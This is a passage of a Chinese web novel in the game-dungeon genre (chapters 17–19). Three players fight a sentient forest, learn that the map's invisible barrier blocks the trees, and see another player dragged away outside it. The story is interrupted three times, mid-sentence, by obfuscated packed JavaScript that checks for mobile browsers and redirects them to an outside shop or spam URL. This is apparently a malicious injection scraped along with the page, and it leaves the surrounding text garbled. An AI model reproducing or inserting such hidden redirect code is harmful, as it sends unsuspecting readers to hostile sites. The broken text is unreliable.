放眼望去，一整片的“脑子”正轻轻摇摆着，仿佛是在欢迎他们的到来。 看得人心里发毛。 三人找了个较为结实的枝桠停下脚步，他们需要想办法清除这片障碍。 “现在怎么办？”苏乐眉头紧锁。 江显端详着那道血红色的“天花板”不语。 她正在把玩手里的攀爬钩索，在抵达这个枝桠时她就已经把它从树皮上取下来了。 苏乐满面愁容。他们还有那么多谜题没解开，却只能止步于此了吗？ “其实也不是完全没办法。”陆寰突然说，“让虫子吞噬我们后再变成‘我们’，就能过去了。” 这家伙在这种时候竟然还有心思讲笑话。江显懒得理他，自顾自地解开腰上的固定卡扣。 “你做什么？”苏乐一惊。 江显把钩锁朝对面的树冠上用力掷去！ “噗”一声，钩子的尖端穿透了一颗果实的表皮，轻而易举刺出了一个小洞。 几秒后，白色的蠕虫从破口处涌出来！ 它们分散和蠕动着，飞快地吃掉了那层果壳，到处都是它们“咔哧咔哧”的咀嚼声。 吞食完了果壳，它们却像是被其他什么东西吸引一样，没有团成一个球，而是开始试探着爬向周围。 果实仍然悬挂在枝干上没有掉下去，因此那些意犹未尽的蠕虫们又把主意打到了相邻的果壳上。 它们毫不客气地开始拒绝旁边的邻居，丝毫没有什么本是同根生的心理负担。 “这也能吃？”苏乐看得目瞪口呆。 起先只是一个小口，然后不断扩大，最后整颗果实都惨遭池鱼之殃。 紧挨着的那颗果实很快被啃食殆尽，那里面大多数原住民们也被这些凶残的同类们啃了个精光；少数幸运些的则开始朝更旁边入侵。 仿佛是多米诺骨牌一般，周遭十几颗果实都遭到了波及。最开始破壳的那一群蠕虫已经团成了一个足有半人高的圆球。 “它们这是要变成什么？难道它们吞吃了足够多的营养，不用吃掉人类也能变成人形怪物？”苏乐大惊。 然而即便是吃掉了足够多的同类，质变的奇迹依旧没有发生。 在“虫球”团聚后短短十几秒里，整个球体蓦地一顿。 下一秒，无数裂痕出现在那些凹凸不平的表面，蠕虫的残骸像是脱落的墙粉一样掉下去了。 那个硕大的族群依然像是沙堡一般溃散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081326|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 它们枯萎了、掉在地上、腐烂了、不复存在了。 而树枝上，半径几米内的区域都被清理干净了，形成了一个突兀的空洞。 “这……”苏乐被这逆天操作惊呆了。 “怎么想到的？”陆寰微微愕然。 “这还得多亏了苏乐。”江显咧开嘴角，“她昨天看到蠕虫们破壳时说了一句，‘在大自然里许多虫子孵化后会吃掉自己的卵壳’。” “从我们所见到的来看，果实的果壳对于虫子们来说很显然就是一个类似于‘卵壳’的东西。” “而我想的是，这些自相残杀的虫子们连同类都不放过，又怎么可能放过别人家的卵壳呢。” “因此，我做的只是让它们靠在一起，给它们创造吞噬机会罢了。” 江显还在那里解释着，殊不知一旁苏乐看她的眼神里已经充满小星星了。 怎么会有人能想出这么思维跳脱的办法啊！苏乐赞叹不已。 她很庆幸自己和这俩位大佬分到了一队里。 江显解释完这些，也不停顿，直接朝着另一颗果实下手了。 她如法炮制，很快那里又新开出一个豁口。 其他俩人见状也纷纷效仿。 他们像是拿了块橡皮擦，把那片血迹从画面上一寸寸抹除。 终于，最后一颗果实也应声落下。 * 江显他们的直播间这俩天热闹无比。 无数双眼睛密切关注着他们的动向。 弹幕是从江显拿起电锯那一刻开始炸的。 [啊？她要砍树？为什么，这是什么高深操作吗？] [安静看吧，江姐肯定自有她的打算呢。她的操作我们通常看不懂。] [这树皮怎么这么厚？砍了这么久也没见什么东西。] [难道这次她也失算了吗？] [我就说你们把她捧得太高了吧。这下打脸了。就当长长记性。] [等等——她好像砍到什么东西了。] [管道？树里面怎么会有管道？人工放置的吗？——卧槽！树里面怎么还有鱼！] [她怎么砍到一半换了颗树砍？] [楼上蠢死了，要是把一棵树砍到了，树上那些果子不得全砸在人身上团灭！！] [我就说啊，普通人就别随意评价人家职业玩家了……这游戏换我进去连一天都撑不过。] [另一棵树里怎么也有管道，还是下行的？！] 有见多识广的看过其他组的直播，此刻给大家科普： [这是一种食肉的树木。它们以海洋生物为食物，消化器官在高高的树冠上，它们进化出了长长的内部管道，依靠管道内压力差把食物从地底运送到高处消化，无法消化的部分排到地下。它们树冠上的消化器官会分泌一些和捕蝇草类似的消化液，用来消化一切食物。在补充到足够营养后，它们就会结出长满蠕虫的果实。] [所以整个事情是这样的：树吃鱼——树结出长满虫子的果实——果实和人或者鱼（人投喂的）接触——人变成变异怪物，树又吃和果实接触过的鱼] 有观众显然被这一复杂过程绕晕了： [那它们到底是什么啊？是虫子？还是鱼？还是树？或是人？] [我不知道。] [也许，这是一个没有尽头的乌比莫斯环。] 那人如是说。 17. 失落之海17 再后来，江显横扫一整片果实的行为又引起了轰动。 [卧槽？还tm能这么干？] [怎么会有人这么天才，竟然想到要让这些蠕虫们自相残杀！] [换我可能就真信了陆寰的鬼话，先让自己被虫子吃掉了……] [楼上你不对劲（滑稽.jpg）] [没办法，谁让他长了张很有说服力的脸。] [楼上仔细说说，怎么说服你的？] ………… 这边还在就陆寰的颜值展开新一轮讨论，另一边观众很快忧心忡忡起来。 [他们马上就要到达树冠了，不会被树木的消化器官溶解掉吧？] [不好说，之前另一个直播间已经在那里团灭了。] [这么可怕吗？江姐他们一定要挺住啊！] ………… 而此时，江显他们已经快要抵达树冠层了！ 某一刻时，江显下意识眯了下眼睛，她清晰地感受到了光线的变化。 不再是林间低处的照明灯，而是从头顶落下的。 先是一缕微弱的光，自缝隙里照进她的眼里；再然后周围环境都开始变亮。 越是往上，光芒越盛。 仿佛是在黎明前的山上攀援，他们与日出相向而行。 江显拨开一丛翠绿的树叶，阳光终于不受阻碍地照了下来。 “这——”苏乐刚稳住身形定睛一瞧，就被这里的景色惊呆了。 站在最高处朝四周瞭望，无垠的绿色铺开在半空中，像是浮空的草地；绿色一直蔓延直到视野尽头，与天际接壤；天变得离他们格外近，在绿树对比下更显澄澈。 这一整个星球原先的海面，竟都被森林所覆盖了。 “原来，这就是那顶【永不凋谢的碧绿冠冕】”江显说。 “这简直像是神迹！”苏乐感慨道。 她的感慨并无夸张。 很难想象，林中如此幽暗惊悚，树冠上却宛若仙境。 而他们，在仙境里见证了在这颗星球的上的第一次日出。 在如此美景面前，队伍紧绷的神经得以缓解。所有人都沉醉于这不可思议的景色之中。 耳边传来一声模糊的系统提示： 【最终boss复苏进度…………83%……】 苏乐正出神地看着，背后却猛然被一推。 她惊叫一声，倒在了低处一根树枝上。 是谁！？ 那一瞬间，苏乐心里只剩下震惊。 她想不通，她这俩位队友里任何一位有动机要害她。 她被蹭破了手掌，火辣辣地疼，勉强爬起来时却看到原先站着的地方竟然下陷，被一张黑洞洞的大口代替。 而在黑洞口，江显的背包正挂着。 倘若这不是在诡异副本里，她会觉得那像是树杈上被虫蛀出的树洞。 但是下一刻，她看到那张黑色的巨口扭曲起来。 江显的背包挣扎了几下，彻底消失在了“洞口”。 再然后，巨口以夸张的幅度翕动着，似乎是在吞咽着什么，又像是在发出痛苦嚎叫。 “离远一点！被巨口吞掉会直接被消化！”江显大声道，“地图中央这棵巨树是怪物！名字叫做【变异的智树】！” 刚刚在树冠上观景时，她看到苏乐身旁竟突然跳出几行小字。 那样的格式她熟悉不过，那是她的技能显示【怪物图鉴】时的样子。 苏乐没接触过鱼或者果实，不可能无缘无故就变成怪物。唯一的解释只能是她身边潜藏了一只怪物。 于是，来不及完全过目那些文字，她就把背包朝几米外的苏乐重重砸去。毕竟这个距离她不可能赶到，就算是赶到了也只会是李代桃僵的结果。 好在她掷得很准，苏乐虎口脱险。 只可惜她背包里那些装备都没了。江显遗憾地想着。 现在，她的眼前赫然显示着关于这种怪物的所有信息： 怪物图鉴 名称：变异的智树【非完全体】 苏醒进度：70% 武力：70 智力：20 技能： 【吞噬】：与大众意义上的吞噬不同，巨树对于这个词语有它独特的理解。 【形变】：任意改变树杈的形状和运动。 介绍：这是一株口味独特的树，树杈上巨大的黑口是它们的消化器官。在它们产生变异之后，消化能力也显而易见得到了加强。 备注：千万不要让它们完全苏醒。 这变异怪物居然有两个技能！江显一惊。 这是她见过的第一个双技能怪物。从这点来推测，相比向导，它反而很可能就是系统提示里一直在说的最终boss。 另一边陆寰已经反应过来，冷静地朝着巨口开枪。 只可惜子弹打在厚厚的树皮上只有闷响，巨口连子弹都直接吞掉了。 “啧。” 一击不成，巨口却朝他靠过来。陆寰皱了下眉，朝低处纵身一跃。 巨口攻击落空，变形的树枝扭打在一起。 趁着这个间隙，陆寰飞快地更换弹夹。 “怪物的技能是【吞噬】和【形变】！它的枝干形状会消失！”江显一边顺着树枝朝另一课树跑去，一边喊道。 苏乐跑着跑着，只觉得树枝在不断变软和扭曲，她每一步都像踩在棉花上不能落到实处。 这根树枝也要消失了！ 【苏醒进度：75%】 “这棵树不能待了！我们先清理旁边树木的果实！”江显说，“等清理完后我们跳到其他树上去。” 这个时候逃到地面上并非明智之举：其一，他们的绳索长度不够，无法短时间内实现着陆；其二，这种大规模的异动发生时低处视野不开阔，很容易被袭击。 因此，在树冠层活动才是最优解。 巨树比旁边的邻居要高出一截，他们现在站在高处清理，比先前容易不少。 加上之前清理果实的经验，三人现在都已无比娴熟。 钩子在枝叶间纷飞，旁边的鲜红果实在飞速消失。 很快，旁边那棵较矮树上的果实就已经被清理干净了。 【苏醒进度：85%】 “快走！”陆寰说着，开枪逼开从背后扑来的一根枝干。 时机恰到好处，他们把钩锁锚定到了另一棵树上。然后他们攥着绳索，像是荡秋千那样飞了过去。 失重的感觉让她短暂眩晕，江显只能紧紧抓住绳索。 好在有惊无险，三人成功着陆。 “这下我们已经不是在cos爬树的多动症了，而是在cos蜘蛛人了。”江显喘着气说道。 【苏醒进度：90%】 鉴于那条备注，江显用脚想也能够知道巨树的能力十分恐怖。 他们现在唯一的选择就是尽可能逃得更远些，远离地图中心。 【苏醒进度：95%】 “快快快，下一棵树还有最后几颗果实没清了！”苏乐甩着绳索，手忙脚乱地朝那里一阵乱抽。 陆寰则启动了备用的那个绳索发射器，两只手一起开动，双管齐下效率奇高。 他们动作奇快无比，短短时间里已经腾挪了四五棵树。就算这时候巨树苏醒，他们也能有一些反应机会。 【苏醒进度：99%】 他们赶在完全苏醒之前，又成功抵达了下一棵树木。 这使得他们内心稍微踏实了一些，毕竟又多争取了一些时间。 江显刚想稍微松口气，却眼睁睁地看着眼前的数字在抵达100后没有停下，而是瞬间变成了101。 怎么回事？苏醒进度怎么还有超过百分之百的？ 地面开始震颤，有什么东西正在苏醒。 【苏醒进度200%】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093226|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏醒进度500%】 【苏醒进度1000%】 看着那不断攀升的数字，江显心里弥漫起一股不真实的荒谬。 这究竟是怎么回事？ 与此同时，他们落脚的那棵树木竟也开始发生变形！ 【警告！目标个数计算故障！警告！目标个数计算故障！】 【绝对苏醒进度10000%】 【怪物图鉴已更正！】 名称：变异的智树（附件） 武力：70 智力：无 技能： 【形变】：任意改变树杈的形状和运动。 提示：尽管同样拥有着树干内的消化管道，它们终究只是一些替代品，和真迹直接有着天壤之别。 弱点：这些附件不存在的智商使得它们缺乏协调能力，毫无团结可言。 看着眼前不断闪烁的文字，江显一刹那明白了。 巨树是怪物，其他所有树同样也是怪物！ 技能显示苏醒进度超过100%，是因为不止有一个测量对象！ “这片树林，是活的！”江显说出这个绝望的结论。 她想起来来到这里第一天，向导那一句“树林能听到”，想到了那天晚上支线任务时莫名其妙把她绊倒的树枝。 只是，弱点上写的“缺乏协调能力”又是什么意思？ 江显心里隐隐有了猜测，但她已经没有时间去验证，现下只能放手一搏。 她落脚的地方也在扭曲和异动，过不了多久所有树木都会彻底复苏过来。 树梢已经绕起来了，像是一条蟒蛇，它弓起“头部”就要朝江显攻击过来！ 江显看着前方那骤然高耸、宛若藤蔓一样的变形枝干，一咬牙，竟调转方向，转身朝着一根在变形的树枝跑过去。 一旁正在躲避另一根枝干的苏乐震惊地看着她的动作。 她又要干什么？！ 经过这段时间的接触，苏乐很清楚江显不是莽撞行事的人，但她现在的行为还是让苏乐大吃一惊！ 江显正面临着腹背受敌的危险，她前后的枝干都已经异常灵活，活动起来时甚至能够拧成麻花。 它们抬起“上半段”蓄力，随时都能朝江显发动致命一击。 而江显像是没看到一样，仍在朝着前面的那段变异枝干飞速奔跑。 “咻”。 她身后的枝干彻底复苏。一阵翻卷之后整个分支都朝江显抡去！ 混乱发生后三人都被树枝分散开来。此刻陆寰和苏乐都离她太远，无力施救。 眼看那树枝就要击中江显后背，江显竟直直向下倒去。 她的下方是一片空当，没有其他树干，这一掉落会直接摔在地面上！ 苏乐心都悬到了嗓子眼。 谁知下一刻，一道铁钩从下方凌空而来，扎在了主干上。 江显及时发射了钩锁。 零点几秒后，她整个人被绳索猛一上拉，这样剧烈的制动让她觉得五脏六腑都要吐出来了。 借助那一条不起眼的绳索，江显止住了下坠，迅速在空中调整姿势。 当她仰头看去时，恰好看到空中那俩根粗鞭一样的树枝重重地撞在了一起。 它们都没能缓住势头，惯性让它们直接甩了好几圈缠在了一起。然后它们又撞上了别的树枝，毛线团一样彻底地绞在了一起，一时难以分解开来。 那一团树枝似乎慌了，每一条都疯狂扭动着，想要趁事态不可挽回之前抽身出来。 但它们的智力太过有限，这直接导致了它们反而越缠越紧，最终收缩成为了一个硬结一样的球。 所有的枝条都绷得笔直，他们甚至能够听到明显的“喀喀喀”声响。 然后空中炸开一声巨响，那一团枝条竟就那样爆裂开来了！ 木屑飞溅！ 树枝的残骸竟化为白色朝地面落去，像是在下一场大雨。 18. 失落之海18 江显没有丝毫停顿。 她很快锁定了另一根正在舒展筋骨的枝条，径直找上去。 从苏乐的视角来看，江显就好像是主动送上门一样。 那枝条左右乱颤，似乎欣喜不已，朝她迎去。 就在它要缠上江显身体那一刻，江显却一闪身，骤然消失不见。 借助那根绳索，她高高荡起，着落在另一根树枝上。 懵逼的树枝就这样和从另一端飞奔而来的同类撞了个满怀。 然后在短短一分钟后，不出意料的，半空中又爆开一团树枝结成的球块。 成功了！ “它们没有智力，把它们引到一起就能破坏！”江显一边调整着气息一边说道。 刚刚的一系列动作太过激烈，她此刻浑身乏力，大口呼吸着新鲜空气。 接连俩次试验都已成功，这完全能够说明这一方法的可行性。 此刻的苏乐已经对江显佩服的五体投地—— 她简直是天才！她是怎么在继让蠕虫自相残杀之后，又想出让枝条自相残杀的法子的！？ 可还没等她舒一口气，就见又一根枝条朝江显头顶扭动。 它们似乎是被激怒了，拿定注意要惩罚这个破坏绿化的罪魁祸首。 于此同时，更多枝条正从四面八方涌来，像极了要给孩子讨说法的三大姑八大姨。 江显才刚刚脱离险地，现下根本来不及恢复体力。 “停在那个高度！保持好姿势不要动！”陆寰一边说着一边朝江显钩子的锚定点跑过去。 刚刚江显独自一人跳下去了，因此现在他和苏乐都位于她上方。 “帮我看着点周围。有靠近的提醒我！”把手枪丢给苏乐后，他直接弯腰去拉江显的固定绳。 江显把绳索捞捞攥在手心里。她知道自己不能松开。她的掌心被切割得生疼，她唯有咬牙挺过去。 好在一只修长的手抓住了她。陆寰一番手忙脚乱的提拉之后，终于把她重新拉到了树枝上。 在她刚着陆不多时，她原先悬挂着的地方几道树枝一同集中了彼此，倘若她慢上半拍后果将不堪设想。 江显在树枝上大口大口喘着气。她本就不擅长剧烈运动，刚刚一番精彩绝伦的操作也不过是外强中干。 “谢谢。”江显说。 “谢谢的是之后再说。”陆寰回答。 树木的异动仍在持续，三人摸索着经验，逐渐打出了配合。 苏乐负责分散江显吸引的火力，而陆寰负责在一旁开枪干扰树枝动作，最后江显把几条树枝引诱到一起，让它们打成死结。这套流程如行云流水，没过多久这一棵树木就要被他们薅秃了！ 但他们脚下的震动越来越猛烈了，整片树林翻滚起来，仿佛是狂涌的浪潮。 江显听到了从身后传来的咆哮声，那是巨树的方向。 刚刚那超过百分之百的苏醒度是因为把巨树和周围的所有树都累加了进去，那或许那个时候巨树还没完全复苏。 但现在这情况…… 江显拿不准那里到底发生了什么，还是小心为宜尽量远离。 他们又开始在树与树之间移动了。 他们是落入海中的微小石子，所到之处却无不掀起轩然大波。 枝条张牙舞爪，追逐他们、想要撕碎他们，他们一次又一次有惊无险地从空隙里穿过；在他们身后木屑像是烟花一样不断地绽放。 但江显却注意到，越往远处，这些树木的反应和力度就越差。 而前方…… 在她视野前方，那一片树林竟然完全静止，仿佛是一副风景画。 后面整片森林都在狂欢，前面那些却无动于衷，仿佛有什么东西阻隔了那种躁动的传播。 又一个大胆的猜测在她心中蹦出。 “前面没路了！”陆寰提醒。 再往前去就是地图的边界，他们昨天刚刚在这里“碰壁”。 “不用跑了，就停在最边上那棵树上。”江显突然说道。 其他俩人都不明白她何处此言。 但此刻已经再无他法。他们停在了那棵树的树梢上，转过身来。他们身后就是看不见的屏障。 树枝朝他们扑来，粗糙的树皮在眼前不断放大。 “身体紧贴着屏障！”江显高喊。 她整个人都尽量收缩着，像是恨不能融到屏障里去。 狂舞的树枝近了，眼看就要落在他们身上。 苏乐下意识闭上了眼睛。 江显则无畏地瞪着它，她对自己的猜测有充分把握。 下一刻，整条树枝竟像是一不小心打了个趔趄，瘫软下去。 它不甘心地重振旗鼓，再一次朝他们发动攻击，却依旧是停在离他们几厘米外的地方重蹈覆辙。 连续几次尝试后，这些树枝全都变得软塌塌醉醺醺似得，只能挣扎着在原地打转。 苏乐睁开眼睛，看到在附近阴暗扭曲挣扎的树枝。 ？？？什么情况？ 再然后，树枝的动作开始愈发迟缓很笨拙，瘫软后重新攻来的时间也在变长。 以他们为起点，树枝的摇晃不断减弱，整个树冠层正在平缓下来。 异动正在消退！就像是海浪正在退潮！ 又等了片刻，所有树枝都恢复了原状；树木重新静止下来，和普通的葱翠森林再无区别。仿佛刚才发生的一切都只是他们的一场幻觉。 【系统提示：boss苏醒已终止】 提示音在他们所有人耳边响起，宛如仙乐。 三人仰身瘫倒在树杈上，仰望头顶着水晶似得蓝天大口喘气，像是三条翻肚皮的死鱼。 心脏在胸腔里猛烈地跳动着，久久无法平息。江显觉得自己发现了副本的秘密。 “你是怎么让狂暴枝条退却的？” 她一转头，就看到陆寰近在咫尺的脸庞。他被汗水浸透的皮肤沁出大片浅红，胸膛紧贴着薄薄的布料剧烈起伏，猛烈呼吸时睫毛连带着上面挂的水珠都在颤动。 这副样子让江显霎时间坐立难安。 “不是我。”江显一骨碌爬起来，指指身后看不见的屏障，“是它。” “你是想说，空气屏障能够阻隔开两端发生的变动？”陆寰反应过来。 他就这么仰头看着江显。 “是。不然没道理我们身后这一片森林都要掀翻了，墙对面却岿然不动。”江显扭头看向对面说。 一切都要从她的技能在看到怪物图鉴说起。 当她眼前出现“对象数目测量错误”的提示和校正后的怪物图鉴后，她就一直在思考“变异智树”和其他所有“智树附件”到底有什么区别。 为什么她的技能会出错，把所有树木算成是一个个体？ 又为什么怪物图鉴会显示【变异树木附件】智力为“无”？ 难道……除了巨树以外所有树木都没有意识，这样才会刹不住车地扭打在一起，缠在一起把自己拉断？ 如果是她所猜想的“本体”和“附属”关系，那么这两者之间有何具体联系？ 最明显的在于技能区别：巨树可以吞噬、消化食物，其它树木都不能。那么很大可能就是，巨树在吸收营养之后把营养输送给其他树木，供养周边树木的生长。 那运动方面呢？巨树和它的“附件”都能够让枝条变形随意挥舞，看似没有任何区别。 但当她发现越是远离巨树，那些枝条就越是迟缓时，江显觉得自己看透了真相。 巨树，是这一片区域所有树木兴奋的起因。 它是这个副本的指挥中心、能够发号施令，它对周围的附庸们下达“缉捕三人”的命令，其他树木都遵照这一命令而行动。 越是远离中央，命令传递需要的时间越长，效应也越弱。所以树木的威胁力也不断衰减。 等到他们逃到地图边缘，发现地图屏障外的树林静止不动这一现象时，她的猜想更是得到了进一步证实。 那么，边界屏障在其中到底又起了怎样怎样的作用？ 包绕？隔绝？密封？限制？ 有一瞬间她脑中灵光一闪。 江显突然想到了很久以前在课上学到过的，冲动在神经纤维上的传播：35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100151|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如果把那棵巨树看成是一个可兴奋细胞…… 它受到了他们的小刺激，产生的局部电位能够在神经纤维上衰减式传播，直至抵达神经末梢，最后被细胞间隔阻拦。 而他们遇到的屏障，恰恰就像是纤维与纤维之间的细胞间隔。 达到阈刺激之前，单个纤维上的局部电位无法跨越细胞而传递，这就是对面风平浪静的原因。 但更多问题又随之而来了。 如果他们所在的副本只是其中的一个神经元，那么在他们的视线（空气墙）之外，又有多少彼此连接和缠绕的神经纤维呢？ 他们的副本之外是什么？难道是……其他副本？ 如果其他副本里也有空气墙作为彼此阻隔，他们那里又在上演着什么看不到的剧本？ 被复杂神经通路包绕的整颗星球，又是什么？ 它是否像人脑那样行使着着复杂的信息处理功能、是否在永不停息地运转、是否时时刻刻在产生生物电；又是否，能够思考？ 一切愈发细思极恐。 当然，以上这些她很难在短时间给俩人解释清楚，因此只能挑目前能够确定的说。 江显略微调整了一下心情，将那些对于未知的恐惧抛掷脑后。 她稳了稳音调，话语里是难掩的激动： “巨树是我们这个副本内所有树木的兴奋起点！” “它控制整个地图范围内森林的运动！” “屏障之外不属于副本范围，所以巨树无法控制。这正是为什么空气墙对面那些树木不动的原因！” “正如我们无法抵达地图以外，树木也不能。” “当我们紧贴空气墙时，那些本就像是傀儡的‘附件’树木难以将我们和屏障区分开来。它们无法穿过屏障，也无法攻击我们！” 其他俩人认真思考着她所说的话。 半晌，陆寰问道：“刚刚系统提示说，那棵巨树的复苏暂停了。可如果巨树复苏达到了百分之百，又会发生什么？” 江显摇了摇头表示不知道。 “我们去另外三面屏障那里看看吧。”陆寰提议道。 江显和苏乐皆同意。 他们今天的计划原本是探索隐藏地图，可惜事不遂人意，整个副本的大boss居然是那棵巨树，而不是他们先前以为的向导。 巨树还没完全复苏，就把三人折腾得灰头土脸，更不要说完全复苏之后了。 他们属实没把握在不惊动巨树的情况下在树根那里找到通道，前往隐藏的海下地图。 自昨天起，探索计划不得不一推再推，这大半天来陆寰和江显俩人的支线任务分毫不动，第三个支线任务更是毫无线索。因此三人走在路上都有些沮丧。 “到了。”陆寰提醒，“再往前就要撞上了。” 江显猛然回神，这才发现他们已经抵达了地图上另一道边界。 “所以说啊，把玻璃擦得太干净也不是一件好事。”江显摸了摸差点被撞到的鼻子。 其他俩人都被她这句话逗笑了。 气氛就又这么放松下来。 他们沿着边界线异动，边走边聊。 “我小时候屡教不改，每次都疯跑后一头撞上我家的阳台门。”苏乐说，“我恨，一定是撞多了，我的鼻子才不够高。” “‘瞭望者’星际舰上也有这样透明的钢化玻璃。”陆寰接过话茬，“隔着它眺望整个宇宙时，仿佛外面的宇宙、恒星、行星……一切都触手可及。星系旋转，群星闪烁，仿佛……仿佛是隔着培养仓的玻璃，注视着里面一切在静谧生长和成形。” “可是他们连哪怕是最微小的一点偏移也不受你意志的影响。”江显挑眉。 她讨厌这样的感觉，明明只是隔了道窗户，伸手就能碰到，却被看不见的阻碍隔绝开来。 像是隔了一整个世界。 “我明白。”陆寰点头，“所以有时候，我选择做一个安静的观察者，注视和接受那一切的发生。” “这样啊。”江显没有再说什么。 就在这时，前面苏乐突然倒抽了一口冷气，打 19. 失落之海19 江显顺着她手指的方向看过去。 地上是一只断掉的人手。 伤口很新鲜，断端还在流着鲜血，周围一片的树叶都被染成了红色。而地面上那些树木的根系正在血迹周围疯狂扭动，像是看到了什么人间美味。 已知，副本里的人形npc（怪物）不会流血，他们剖开树也没见流血。那么手的主人是谁昭然若揭。 副本里还有别的玩家？ 江显飞速走过去想要一探究竟，但狠狠地撞在了屏障上。 这只手，出现在他们的副本区域之外！ 副本之外，仍然是副本吗？ 看似荒谬，江显却觉得这个答案似乎早在意料之中。 她蹲下去仔细检查那只断手。 那是一只很大的手，它的末端紧密贴在透明屏障上，像是一副剪贴画，连指关节的茧子、指头上一圈圈细密的指纹都清晰可见。 它贴得那样紧，仿佛是拼劲最后的力量想要穿过那道屏障，却最终无济于事。 手从掌根处被切断，切缘平滑锐利，连腕骨和肌肉组织的断端都是整齐划一的。 不像是被盘曲的树枝和树根拧断的，反而像是被什么锐器切断的。 副本里的npc似乎并不喜欢使用工具，更喜欢在变成怪物后用他们的尖牙利齿把人吃掉。看起来也不像是他们干的。 壮士断腕。 江显明白了。 她在地面上看到了另一些血迹，不是地面上那样流淌出来的，而像是伴随着主人的步伐移动不断滴落的。 血迹一路沿着屏障走形，江显于是追踪着那些痕迹前行。 不知道走了多久之后，他们发现了手掌的主人。 那是一个身材魁梧的男人，破烂的外衣下露出夸张的肌肉。 他正在林间飞速奔跑。在他身后，无数的树木枝干像是蛇一样狂卷。 很显然，他刚刚是在试图壁虎断尾那样牺牲一只手去引诱树木，但显而易见地失败了。 壮汉的逃跑毫无章法，极其被动。看样子他并不像他们这三人那样发现树木的特性，因此只能狼狈地躲开一次又一次袭击。 江显突然做出了一个她自己也没反应过来动作。 “朝地图边缘屏障这里跑！”她猛地双拳砸在那无形的屏障上，朝屏障对面大吼。 只要像他们之前那样贴着屏障，树枝就无法准确识别他们。 正在逃跑的魁梧大汉抬眼，脸上露出愕然的神情。显然他也看到了他们。 可惜他并没有理解江显的意思，而是扭头朝旁边跑去。 “朝这里跑！”江显的拳头重重地锤在屏障上。 她的手砸红了，旁边陆寰拉住了她的手腕：“他听不到。” 江显当然知道对面的玩家听不见她的声音。 因为她此刻也无法听到另一边枝干翻涌惊天动地的声响。 但是…………她只是不愿再一次眼睁睁看着一切发生。 陆寰不解地看着她声嘶力竭的模样，他不明白她为何突然如此焦急地想要救人。 难道是出于什么……对于同类的怜悯和同情之心吗？ 据他所知江显不是这么个人，否则她也不会在那天晚上破门而入后，第一反应是用枪指他而不是说“哇你也没事这真是太好了”。 想到这儿，陆寰没来由地有些不爽。 在他的认知里，江显仿佛是一汪井水，深不可测，状态稳定得一塌糊度，身上唯一会波动的只有他人落入其中的影子。 现在这泓水被搅出了波纹，却不是被他。 如此情绪失控的江显，他还是第一次见。 在江显锲而不舍的提醒下，终于，空气墙对面的那名玩家似乎看出了一些异常，尝试着朝他们这里跑过来。 他朝他们挥舞双手，嘴里一张一合似乎在高喊什么。 还好，这次她终于做了点什么。江显心想。 那壮汉正在离他们越来越近，眼看着只有十几米的距离了。 就在他即将再次触摸到屏障时，异变陡生！ 一根树枝从天而降，挡在了他的前方。 壮汉来不及刹住脚，一下被树枝结结实实绊倒。 在他落地的一瞬间，树枝以迅雷不及掩耳之势缠在了他脚上。 玩家张开嘴大喊着什么，他的双手已经撞在了透明屏障上。可是一切都太晚了，树枝正把他向后拖去。 壮汉仅剩的那只手奋力抓取着地面上的树根，想要避免被拖走的命运。但那些树根像是鱼一样滑溜溜地躲开了。 他正一点点地被朝树林深处拖行，留下一道长长的血痕。他原本自己包扎的断肢又在出血了，长时间的失血已经让他虚弱无比，这无疑让他的情况雪上加霜。 他匍匐、蠕动、奋力挣扎，神色惊恐和绝望，逐渐被身后聚集的树枝缠绕和吞没，最后消失不见。 树枝像是巨茧一样包裹了他，但他绝无破茧之日。 江显最后看到的是一张痛苦、扭曲和破碎的面容。 然后对面的躁动也平息和消失了，像是暴风雨后风和日丽的海。仿佛刚刚发生的一切只是一场在幕布上放映的恐怖电影。 她整个人在屏障前呆立了许久。 整整1分钟后，江显回过神了。 “走吧。”她像没事的人一样率先朝前走去了。 “去哪儿？”苏乐有点担心她的状态。 “总得把我们这块地图的四条边缘都走完一边。”江显耸耸肩。 她说的是“我们这块地图”。 陆寰敏感地捕捉到了她措辞里的变化。 他追上去，有意岔开话题：“你是又想到什么了吗？” 江显没有回答，她就这样埋头朝前走。 一路上，苏乐都试图在安慰她。 “我们救不了所有人，江显。”她说。 江显不出声。 苏乐继续道：“你已经做得够好了。在这个副本里我完全是个拖累，什么也做不了，没触发副本，也发现不了任何异常。如果不是你次次都能想出方法化险为夷，我根本撑不过第二天。” “你不是累赘。”江显说。 “那你实话告诉我，在你眼里我的各项属性数值是多少？” 江显没有回答，于是苏乐得到了答案。 “你看你连我这样的菜鸟你都从不指责，却要苛责自己一个连失误都算不上的行为。” 